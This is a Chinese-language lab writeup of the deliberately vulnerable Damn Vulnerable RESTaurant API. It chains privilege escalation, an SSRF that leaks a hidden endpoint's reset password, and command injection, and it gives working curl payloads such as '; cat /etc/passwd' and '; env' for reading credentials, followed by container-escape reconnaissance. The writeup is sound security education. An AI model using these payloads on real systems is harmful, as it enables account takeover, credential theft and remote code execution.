18 min read

Damn Vulnerable RESTaurant:從匿名訪客到容器內 RCE 的完整 API 攻擊鏈

Damn Vulnerable RESTaurant:從匿名訪客到容器內 RCE 的完整 API 攻擊鏈
靶機:theowni/Damn-Vulnerable-RESTaurant-API-Game 技術棧:FastAPI + PostgreSQL + SQLAlchemy + JWT,全容器化部署 攻擊鏈:匿名註冊 → BFLA 越權 → SSRF → 帳號接管 → 命令注入 RCE 對應:OWASP API Security Top 10 (2023) 幾乎全餐

TL;DR

這是一台純 API 靶機(沒有前端頁面,只有 JSON 進、JSON 出),官方設定是「從最低權限使用者一路提權到 root,只有一條路」,這篇 writeup 完整記錄我如何從一個匿名訪客,靠七個環環相扣的漏洞,最終在伺服器容器內取得任意命令執行。

整條攻擊鏈的核心不是任何單一的高難度漏洞,而是漏洞鏈(vulnerability chaining):好幾個單獨看「低危」甚至「無害」的缺陷,串起來卻能升級成 critical 等級的完整接管。這正是這台靶機最值得學的地方。

完整殺傷鏈:

  1. 匿名註冊取得低權限身份
  2. JWT 情報蒐集,確認 role 存於資料庫而非 token
  3. BFLA(功能層授權失效) 自我提權為中間權限
  4. 挖出一支「文件裡藏起來」的隱藏 endpoint
  5. 該 endpoint 用「來源 IP 是否為 localhost」當授權
  6. SSRF 借伺服器之手繞過來源檢查,並把機密經回顯管道帶出
  7. 取得最高權限後,觸發 命令注入(RCE)

0. 環境部署

作者提供兩種模式:Developer(修漏洞的互動遊戲)與 Ethical Hacker(黑箱挖洞)。我們走後者。

git clone https://github.com/theowni/Damn-Vulnerable-RESTaurant-API-Game.git
cd Damn-Vulnerable-RESTaurant-API-Game
./start_app.sh

服務預設跑在 http://localhost:8091。FastAPI 慣例提供三個自動生成介面:

  • Swagger UI:/docs
  • Redoc:/redoc
  • OpenAPI spec:/openapi.json

啟動時日誌會跑三條 Alembic migration,其中 Added reset password fieldsAdded referrals 兩條,是後續 recon 的第一批線索——服務自己在告訴你它有哪些功能模組

至於啟動時那行 error reading bcrypt version 的 traceback,可以無視。它前面標了 (trapped),是 passlib 1.7.4 撞上 bcrypt 4.x 讀版本號的老問題,雜湊功能完全正常。

1. Recon:把攻擊面攤平

FastAPI 最大的「特色」對攻擊者是禮物:它把完整地圖畫給你。與其在 /docs 手點,不如直接把 spec 榨成一張清單:

curl -s http://localhost:8091/openapi.json | jq -r '
  .paths | to_entries[] | .key as $p | .value | to_entries[]
  | "\(.key|ascii_upcase)\t\($p)\t\(.value.summary // "")"'

完整 21 支 endpoint 到手後,我按「攻擊面語意」分群:

分群 Endpoint 攻擊直覺
認證表面 /token/register/reset-password/reset-password/new-password Broken Auth、token 可預測性
帶物件識別碼 /orders/{order_id}/menu/{item_id} BOLA(物件層 IDOR)
自己的資源 /profile(GET/PUT/PATCH)、/orders/referral-code Mass Assignment、過度暴露
看似特權 PUT /menu/admin/stats/disk/users/update_role BFLA、提權

有兩支我當下就標紅:PUT /users/update_role(名字直接寫著「改角色狀態」),與 GET /admin/stats/disk(「disk usage」這種數字,程式常常直接呼叫作業系統指令去拿——這是命令注入的經典氣味)。

關鍵認知:純 API、沒有前端,這反而逼你養成正確的肌肉記憶——不看畫面,直接對 API 推理,真實世界大量標的是前後端分離,前端只是一個「可被繞過的客戶端」,前端做的所有檢查(欄位隱藏、按鈕 disable、格式驗證),在 API 層都能直接無視。

在 Swagger 逛一圈可以看到:絕大多數 endpoint 都有鎖(要 token),只有 /register 沒鎖。 這條分界線很重要,但要先破除一個新手誤解:

「有鎖」只代表「要帶合法 token 才理你」(authentication),不代表授權做對了(authorization)。真正的攻擊不是「繞過鎖頭」,而是合法拿到一把低權限鑰匙,然後拿它去開所有的門,看哪些門其實不該為我開

2. 進場:匿名註冊與一次「有價值的失敗」

/register 是匿名入口。觀察它的 request 與 response schema,冒出第一個實驗點:

request  收 : username, password, phone_number, first_name, last_name
response 吐 : username, phone_number, first_name, last_name, role  ← 多了 role

role 出現在回應、卻不在請求 schema 裡。這是典型的 Mass Assignment(API3 / BOPLA) 測試點:schema 是「文件宣稱的契約」,不是「後端實際行為」。文件說只收五個欄位,不代表後端真的只認這五個。於是我手動 curl,故意多塞一個 role

curl -s -X POST http://localhost:8091/register \
  -H 'Content-Type: application/json' \
  -d '{
    "username": "rou_test",
    "password": "Passw0rd!123",
    "phone_number": "0900000000",
    "first_name": "rou",
    "last_name": "test",
    "role": "admin"
  }'

回應:

{"username":"rou_test","phone_number":"0900000000","first_name":"rou","last_name":"test","role":"Customer"}

它無視我塞的 admin,強制給我 Customer這條 mass assignment 被擋住了。

但這不是失敗,是有價值的陰性結果——真實挖洞八成的時間都在收集這種結果,把攻擊面一格一格劃掉。更重要的是:我順手拿到了一個合法的 Customer 帳號 rou_test。門票到手,那一大票鎖頭現在有鑰匙了。

3. JWT 拆解:決定整條路線的關鍵情報

登入拿 token(注意 FastAPI 的 /token 吃 form-urlencoded,不是 JSON):

curl -s -X POST http://localhost:8091/token \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'username=rou_test&password=Passw0rd!123'

拿到 token 後,先手拆——養成不把 token 貼去線上工具的習慣:

echo "$TOKEN" | cut -d. -f1 | base64 -d 2>/dev/null; echo   # header
echo "$TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null; echo   # payload
{"alg":"HS256","typ":"JWT"}
{"sub":"rou_test","exp":1783665857}

這裡有一個影響整條攻擊路線的發現:payload 裡沒有 role,只有 sub(你是誰)與 exp(何時過期)。

推論很關鍵:token 本身不攜帶權限,它只證明「我是 rou_test」,那麼當我打一支需要高權限的 endpoint 時,後端不可能從 token 判斷我是不是管理員,它一定是拿 sub 回資料庫即時查 role。

這岔出兩條思路:

  • 偽造 token(先按下)algHS256(對稱式),經典玩法是爆 secret 後自簽 token,但因為 payload 裡沒有 role 可竄改,偽造成功也頂多冒充成別的 username,價值有限,附帶一提,config.pyJWT_SECRET_KEY 若未設環境變數就走隨機生成、只存在記憶體、每次重啟還會變——這條路 CP 值極低。
  • 改資料庫裡的 role(主線):既然權限的真相在 DB,而系統剛好開了一支 PUT /users/update_role 專門改這欄位,主攻方向就此浮現。
對稱 vs 非對稱的一課:HS256 用同一把 secret 簽發與驗證,所以「弱 secret 可離線爆破」永遠是它出現在 production 時該試的一項(hashcat -m 16500 或 jwt_tool),RS256 用私鑰簽、公鑰驗,拿到公鑰也簽不出東西,沒有這個弱點,這台雖然用不到,但這個判斷習慣要帶走。

4. BFLA:守了門檻,漏了中間層

解剖 PUT /users/update_role,它的 security 欄位只宣告「要帶 token」,沒有任何地方能宣告「要哪種 role」——因為 OpenAPI 的 security 表達不了「要不要是管理員」,那個角色檢查若存在,只能是後端手刻的 if,而它在不在,spec 看不出來,只能實際打一發才知道,這正是 BFLA 必須動手驗證的原因。

body schema UserRoleUpdateusername + role——注意它是「改某個我點名的 username」,不是綁死自己,這代表若無授權檢查,我能改任何人的角色。

第一發我賭 Admin,結果是 500 Internal Server Error,因為有 log 上帝視角,直接讀 traceback:

sqlalchemy.exc.DataError: (psycopg2.errors.InvalidTextRepresentation)
invalid input value for enum userrole: "admin"
LINE 1: UPDATE users SET role='admin' WHERE users.id = 7

這行把四件事一次講清楚:

  1. 授權完全沒擋——請求穿過鎖頭、穿過驗證,一路跑到「對 DB 下 UPDATE」這最後一步,SQL 都幫我組好送到 PostgreSQL 了。
  2. 死因不是漏洞不存在,是值錯:role 在 DB 是 enum 型別 userrole,只認被定義過的字串。
  3. 順帶洩漏我的內部 id 是 7。
重要陷阱500 會掩蓋真實的授權行為,一個崩掉的請求不能拿來當「授權沒擋」的證據——後面會再遇到一次。

翻 source 確認 enum 合法值:

grep -rniE "class (User)?Role" app --include=*.py
grep -rniE "Admin|Chef|Employee|Customer" app --include=*.py

結果揭曉一個漂亮的陷阱:

# app/db/models.py
class UserRole(str, enum.Enum):
    CHEF = "Chef"
    EMPLOYEE = "Employee"
    CUSTOMER = "Customer"

這系統的最高權限不叫 Admin,叫 Chef/admin/stats/disk 那個 admin 只是 URL 路徑字串,不是角色名——差點被路徑名帶偏。

改填 Chef 再送:

{"detail":"Only Chef is authorized to add Chef role!"}

這推翻了一部分假設,而且是好事。 授權檢查其實存在,只是它有針對性:專門守著「升成 Chef」。那換成中間層呢?

curl -s -X PUT http://localhost:8091/users/update_role \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"username":"rou_test","role":"Employee"}'
{"username":"rou_test","role":"Employee"}

中了, 一個 Customer 靠自己的 token 把自己升成了 Employee。

BFLA 的經典教訓:開發者做授權檢查時,腦子裡只想著「保護最高權限」,於是只擋了 Customer→Chef,卻忘了 Customer→Employee 也是越權。看到任何分級權限系統,反射就該是「別只測跳到頂,把每一階都測一遍,守衛往往只顧著守最上面那格」。

驗證新權限實際可用(之前 Customer 打不動的建立菜單,現在通了):

curl -s -X PUT http://localhost:8091/menu \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"name":"rou_test_dish","price":100,"category":"main","description":"test"}'

回 200。同時實錘了 JWT 那個推論:同一顆舊 token、沒有換發,後端卻放行了——因為它拿 sub 回 DB 即時查到我現在是 Employee。

5. 隱藏 Endpoint:security through obscurity 的反例

終點是 Chef,但卡在「只有 Chef 能授予 Chef role」,既然自己升不上去,那就換個目標——奪取系統初始化就種好的那個 Chef 帳號

從 source 追 settings.CHEF_USERNAME,一鏟子挖到主線核心:

app/config.py:30:  CHEF_USERNAME = os.getenv("CHEF_USERNAME", "chef")
app/apis/admin/services/reset_chef_password_service.py  ← 一支「重設 chef 密碼」的服務!
app/tests/.../test_admin_service.py:
    test_reset_chef_password_unauthorised_returns_403
    test_reset_chef_password_from_localhost_returns_200   ← 授權判斷的線索

Chef 帳號叫 chef。而那兩個測試名把授權邏輯洩得一乾二淨:這支重設密碼的 endpoint,授權判斷是看「請求是否來自 localhost」,不是看角色。

讀出完整實作:

# app/apis/admin/services/reset_chef_password_service.py
# it's excluded from the docs to make it more secure   ← 註解本人
@router.get("/admin/reset-chef-password", include_in_schema=False)
def get_reset_chef_password(request: Request, db: Session = Depends(get_db)):
    client_host = request.client.host
    if client_host != "127.0.0.1":
        raise HTTPException(403, "Chef password can be reseted only from the local machine!")
    characters = string.ascii_letters + string.digits + "!@#$%^&*()_-+=;:[]"
    new_password = "".join(secrets.choice(characters) for i in range(32))
    update_user_password(db, settings.CHEF_USERNAME, new_password)
    return {"password": new_password}   ← 生成的密碼直接回傳給呼叫者!

三個致命點:

  1. include_in_schema=False:這支不出現在 /openapi.json,難怪前面 21 支清單沒有它,註解還寫「excluded from the docs to make it more secure」——這是 security through obscurity 的教科書反例藏起來只讓黑箱的人多花點功夫,對真正打進來的人一點防護都沒有,真實世界這種「文件沒列但實際存在」的 endpoint 極多,所以才需要用 ffuf/字典爆 spec 沒列的路徑。
  2. 授權 = request.client.host != "127.0.0.1":用來源位置當授權。
  3. 天大的紅利:密碼由伺服器自己生成 32 位隨機值,然後 return {"password": ...} 直接回傳。不用自己設密碼、不用管 reset code——只要成功呼叫,它就把新密碼吐給你。

6. SSRF:借伺服器之手,繞過來源檢查

直接打這支,果然 403:

curl -s -i http://localhost:8091/admin/reset-chef-password
# HTTP/1.1 403 Forbidden
# {"detail":"Chef password can be reseted only from the local machine!"}

關鍵技術辨析——這支讀的是 request.client.host,不是 HTTP header。

  • 若 code 讀的是 header(X-Forwarded-ForX-Real-IP…),client 完全可控,塞 X-Forwarded-For: 127.0.0.1 就繞過,這是最常見的款。
  • request.client.host 在 Starlette/uvicorn 裡是從實際 TCP 連線的 socket 對端 IP 取的,外部 curl 過去,來源是 Docker bridge 的 gateway IP,塞 header 無效。

要讓來源真的等於 127.0.0.1,本質上得讓封包從伺服器內部發出,這就是 SSRF 的用武之地:

這個伺服器上有沒有某個功能,會「幫你發出一個請求」,而且目標 URL 你能控制?如果有,就叫伺服器去打 http://127.0.0.1:8091/admin/reset-chef-password伺服器打自己 = 來源就是 127.0.0.1 = 繞過。

回頭 grep「伺服器主動發 request」的指紋:

grep -rniE "requests\.(get|post)|httpx|urllib|urlopen" app --include=*.py | grep -iv test

嫌疑犯現形——菜單的圖片功能:

# app/apis/menu/utils.py
def _image_url_to_base64(image_url: str):
    response = requests.get(image_url, stream=True)   ← 拿你給的 URL 去 GET,無白名單
    ...
# 建立/更新菜單時:
image_url = menu_item_dict.pop("image_url", None)
if image_url:
    db_item.image_base64 = _image_url_to_base64(image_url)

image_url 這個欄位不在 MenuItemCreate 的必填清單,但後端收(又一次「schema 沒明列 ≠ 後端不收」),後端拿它原封不動 requests.get,沒有任何白名單、沒擋內網、沒擋 localhost,而這個請求是 web 容器自己發出的——來源正是容器的 127.0.0.1

完整繞過鏈條,還有一個絕妙的收尾:

我(外部)打 reset endpoint  → 被 127.0.0.1 檢查擋
改叫 menu 的 image_url = http://127.0.0.1:8091/admin/reset-chef-password
  → 伺服器為了「抓圖」自己去 GET 那個 reset URL
  → reset endpoint 看到來源是 127.0.0.1 → 放行 → 生成新密碼
  → reset 回的 {"password":...} 被 menu 當成「圖片內容」
  → menu 把它 base64 編碼存進 image_base64 回傳給我
  → 我 base64 解碼 → 拿到 chef 的新密碼

SSRF 的回傳資料,剛好被「抓圖→存 base64→回傳」這條管道帶了出來。 這台把 SSRF 接在圖片功能上,設計非常精巧。

組裝這一發(此時身份是 Employee,能建菜單):

curl -s -X PUT http://localhost:8091/menu \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"name":"ssrf_pwn","price":1,"category":"main","description":"ssrf",
       "image_url":"http://127.0.0.1:8091/admin/reset-chef-password"}' \
  | jq -r '.image_base64' | base64 -d; echo

輸出(每次執行密碼皆不同,因為是隨機生成):

{"password":"r#7G85:EOd_bHjdupN]adyAOA8It3wFR"}
為什麼 SSRF 能拿到明文密碼,而不只是「改掉」? 這要分清兩件事:「改密碼」與「知道改成什麼」是不同能力,正常的 reset 流程會把新密碼寄到帳號本人信箱,攻擊者觸發了也看不到,那頂多是 DoS(把 chef 鎖在門外),這支的致命錯在於把生成的密碼直接 return 給發起請求的人,所以完整因果是:SSRF 給你「存取權」(能碰到本來碰不到的內部 endpoint),而那支 endpoint「把 secret 回傳」這個獨立的資訊洩漏缺陷,才把「改密碼」升級成「知道密碼、接管帳號」。兩個洞疊在一起,才有一步登頂。

7. 登頂與命令注入(RCE)

chef + 新密碼登入(密碼含特殊字元,用 --data-urlencode 避免被 shell/URL 吃掉):

CHEF_TOKEN=$(curl -s -X POST http://localhost:8091/token \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode 'username=chef' \
  --data-urlencode 'password=r#7G85:EOd_bHjdupN]adyAOA8It3wFR' \
  | jq -r '.access_token')

拆開驗證 {"sub":"chef",...},打開那扇一直鎖著的門:

curl -s -H "Authorization: Bearer $CHEF_TOKEN" http://localhost:8091/admin/stats/disk
{"output":"Filesystem  Size  Used ... /dev/sdd  1007G  243G  713G  26% /app"}

登頂達成。但那個 "output" key + 逐字 df -h 輸出的格式,是命令執行的指紋,追 source:

# app/apis/admin/utils.py
def get_disk_usage(parameters: str):
    command = "df -h " + parameters                          # ① 字串拼接使用者輸入
    result = subprocess.run(command, ..., shell=True)        # ② shell=True

# app/apis/admin/services/get_disk_stats_service.py
def get_disk_usage_stats(current_user, parameters: str = "", ...):   # ③ parameters 是 query string,可控
    if current_user.role != UserRole.CHEF.value: ...
    usage = get_disk_usage(parameters)

命令注入三要素一次到齊:使用者輸入字串拼接進指令、shell=True(讓 shell 元字元全部生效)、parameters可控的 query string。指令 df -h <輸入>,只要塞一個 ;,就能在後面接自己的指令:

curl -s -G "http://localhost:8091/admin/stats/disk" \
  -H "Authorization: Bearer $CHEF_TOKEN" \
  --data-urlencode 'parameters=; id' | jq -r '.output'

df 輸出之後多出 uid=...——RCE 實錘。 進一步蒐集:

# 誰、在哪
--data-urlencode 'parameters=; whoami; hostname; pwd'
# 讀任意檔
--data-urlencode 'parameters=; cat /etc/passwd'
# 挖環境變數(真正的寶)
--data-urlencode 'parameters=; env'

env 撈到 DB 完整憑證:

POSTGRES_USER=admin
POSTGRES_PASSWORD=password
POSTGRES_SERVER=db
POSTGRES_PORT=5432

即使跳不出容器,這組憑證已讓我能直連同網段的 PostgreSQL,全庫讀寫——撈所有 password hash、改任何人 role、竄改訂單。

RCE 是漏洞金字塔的頂點:拿到命令執行,其他所有洞都變成註腳。

8. 容器逃逸偵查:一次全陰性的「縱深防禦」課

拿到容器內 RCE,紅隊的標準下一問是「能不能逃逸到宿主?」跑一遍標準 escape checklist:

是不是 container root? 不是,/etc/passwd 顯示服務用 app(uid 1000)跑,非 root,多數經典逃逸需要 container 內 root,這步就卡掉一大半路徑。

Docker socket 有沒有被掛進來?(逃逸頭號捷徑)

--data-urlencode 'parameters=; ls -la /var/run/docker.sock 2>&1'
# ls: cannot access '/var/run/docker.sock': No such file or directory

沒有。

是不是 privileged / 有沒有危險 capability?

--data-urlencode 'parameters=; cat /proc/self/status | grep -i cap; ls -la /dev | head'
# CapEff: 0000000000000000   ← 有效能力全空
# /dev 只有 autofs/core/full 等最小字元裝置,無 /dev/sd* 區塊裝置

CapEff=0 代表這個 process 一個 Linux capability 都沒生效(因為降權跑)。靠 CAP_SYS_ADMIN 之類的逃逸全部用不了。/dev 無區塊裝置 + CapEff=0鐵證非 privileged。

判 privileged 的快速心法:privileged 容器的 CapEff 會是一長串 f(如 0000003fffffffff),ls /dev 會看到宿主整排區塊裝置(/dev/sda…)。

Mounts 有沒有宿主 bind mount? 只有純淨的 overlay,沒有 /host/root 之類被掛進來。

結論:這台無法容器逃逸,而這是設計上的正解,不是打得不夠。

我手握容器內 RCE + 服務層完全淪陷(chef、DB 憑證、任意命令),但宿主毫髮無傷,這就是縱深防禦活生生的示範:

容器化是一道有效的防禦邊界,應用層被打穿(RCE)不等於宿主淪陷,一個配置正確的容器(非 root、不掛 socket、非 privileged、無多餘 mount/cap),能把 RCE 的 blast radius 死死圈在容器內,DVRA 示範了一個容器該長的樣子——而真實世界的逃逸機會,永遠來自偏離這個正解的誤配:服務用 root 跑、docker.sock 圖方便掛進來、--privileged 省事、把宿主目錄 bind mount 進去、過期的 runc(如 CVE-2024-21626),見過「正常長相」的基線,將來才抓得到異常。

完整 Kill Chain

# 漏洞 位置 OWASP API 2023
1 匿名註冊(入口) POST /register
2 JWT 不帶 role,權限存 DB /token 簽發 API2 Broken Auth
3 BFLA / 不完整授權 PUT /users/update_role API5
4 隱藏 endpoint(obscurity) GET /admin/reset-chef-password API9 資產管理不當
5 來源型 access control 同上,client.host=="127.0.0.1" API1 / API5
6 SSRF + 資料回顯 menu.image_url 無白名單 requests.get API7 SSRF
7 命令注入(RCE) df -h + parametersshell=True API8 組態錯誤 → RCE

兩個貫穿全場的元主題:

  • 信任邊界的誤置:#3 信任「不是最高權限就沒事」、#5 信任「來源 IP」、#6 信任「image_url 是良性的」。每個洞都是把某個不該信的東西當成可信。
  • 漏洞鏈 > 單點:#5 單獨看是「localhost only,低危」,#6 單獨看是「抓圖 SSRF,中危」——串起來卻是 critical 等級的帳號接管。頂級 bug hunter 的報告動輒 critical,不是因為找到更難的單一洞,而是看得見洞與洞之間的接口

結語

DVRA 把一整套現代 API 攻擊面壓縮進一台小靶機:BOLA/BFLA 的授權缺口、mass assignment 的序列化邊界、SSRF 的位置轉移、命令注入的 RCE,最後用一個配置正確的容器示範了縱深防禦。

最值得帶走的不是任何單一 payload,而是那個思維轉換:把每個漏洞都當成「它改變了什麼前提」的東西,然後去找「還有哪個漏洞的成立,正好依賴我剛剛推翻的那個前提」,漏洞鏈就是這樣長出來的——而這正是把「會打」升華成「會評估、會寫報告、講得清 impact」的分水嶺。

本文為 DVRA 靶機的教學型 writeup,所有操作皆在本機隔離環境進行切勿對未授權的系統進行任何測試。